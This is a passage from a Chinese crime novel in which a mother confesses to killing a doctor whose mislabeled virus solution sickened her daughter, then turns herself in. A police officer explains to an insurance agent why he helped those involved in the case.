“我和孩子她爹立刻就想明白了,扼佼医生搞错了,他把自己制作的不知道要干什么用的Lecc4号病毒溶液误当成退烧药卖个了我们,就是他害的我们的孩子不得不躺在病床上痛苦的在生死之间挣扎,我们恨不得立刻杀死了他,但是我们有能有什么办法呢,我们什么办法都没有啊。” “你会后悔吗?” “我不后悔,如果回到最初我还是会杀死那个家伙,就算是赔上我自己的性命也在所不惜。” “你疯了。”予杏无奈的摇摇头。 “我没有。” “安女士你所作的一切是为了什么,你丈夫的死是为了谁。更天定的法则更加残酷的是,现在需要为扼佼的死亡付出代价的不是你,而是你重病在床的女儿。” 安像是突然反应过来了什么,她惊讶的望着予杏,想起他一开始和自己的说的话,‘好消息就是扼佼医生没有家人,你不需要支付赔偿金,只要在监狱里服刑一段时间就可以了。’ 安惊恐的表情逐渐扭曲。 杨程是自杀的她们拿不到保险金。 自己杀了扼佼,她得离开女儿去坐牢。 不,不能这样。 安慢慢低下了头,她盯着自己的双手,眼睛里翻涌着杀意。 如果要用我的生命换取孩子生的希望的话... “安女士我再问你一次。你会后悔吗?” 予杏的声音清澈,镇定。 听见自己的名字安几乎是条件反射一般的望向予杏,那名年轻的警官是的脸上依旧没什么表情,他用一种古井无波的眼神望着自己。 安第一反应是愤怒,她觉得此刻的自己在予杏眼里可能十分的滑稽,但很快激动翻涌的情绪浪潮停滞了一瞬,她看见予杏的眼神,恬静的带着一点怜悯的眼神,他是认真的再问自己这个问题。 后悔吗? 自己也不知道。 安沉默着蜷缩起身体,在花园的小亭子的,慢慢地蜷缩成了一团。 予杏看了看她又看了看天空中翻涌的乌云,暴雨似乎马上就要落下来了。 予杏一个人返回了医院大楼,一楼的挂号窗口边。 绑着绷带的女孩指着报纸上的新闻问她的母亲:“是幽灵唉,如果我变成幽灵是不是和同学打架的时候就不会疼了?” “你脑子里都在想些什么,不应该总想着伤害别人,这是不应该的,很少有人像你这样的。” “哦,我知道啦。” 予杏放慢了脚步,闭了闭眼。 几天后 安主动来到警局自首,承认了自己杀害扼佼医生的实事。 念在她是自首,又还有重病的孩子,法院的判处不重,只是一段时间的有期徒刑。 小等被托付给中心市未成年儿童医疗救助机构照顾,这个新成立不久的机构,自己找上门来,承若保障孩子的教育以及基本生活,承担孩子治疗期间绝大多数的医疗费用。 德兴街57号的烂尾楼找到了新的承包商,施工单位计划今年内完成施工,只是其中一栋楼要被推倒改建成凉亭。 酒吧里 “予杏先生还真是好人啊。” “......”予杏侧头却见是中心市保险公司的人,轻点了点头,“许久不见了,下午好,洛阳花女士。” “下午好,我是来找您拿案件报告的,只是没想到上班时间您会在这里。” “应该的,人总是要为自己的行为付出代价的,没有搜查令强行办案,又和局长拌了两句嘴,我和斌北都被停职一个月,正好可以休息一阵子,就当是放假了。” 予杏这么说着,却从随身的背包里摸出了一份早就准备好的案件报告。 “假期打扰您真的不好意思,”洛阳花低头看了看案件报告,“我有一个私人问题可以问您吗?” “可以,你说。” “您为什么要帮他们,帮助安女士以及其他所有牵扯进这件案子的人?” “我并不觉得自己帮到了什么忙,也没有帮助所有的人。” “您谦虚了,听说您还在本市创立了‘飞天面条教’改革了教团补助的政策,让我的领导这阵子都很是头疼呢。” “嗯?是我创立的吗?不是吧,你记错了。” 洛阳花含笑的眼睛看着予杏,并不几乎深究,“您还没有回答我的问题,为什么你要做这么多?” “...如果硬要说的话,我有些感动。” “为什么?” “人类追逐利益,安女士本来是可以杀死我的,但她没有动手,我也不能完全明白她那时候的复杂情绪,可能是求生欲,可能是软弱,可能是后悔,但哪怕只有一点点的懊悔,我都觉得她是个值得被拯救的人,所以我帮助我想要帮助的人。” “您就不怀疑她是故意的吗?” “无所谓。” “百年之前,我的祖先说,愿我的子孙能吃你想吃的一切食物,做你想做的一切事情,帮助你想帮助的每一个人。” 予杏说到这里突然轻笑了一声。 “我觉得其实也挺好的,试图伤害别人是人性的本能,好在保护自己也是一种本能,天命的必然将这两者绑定在一起,所以在这里深渊仿佛有了底。”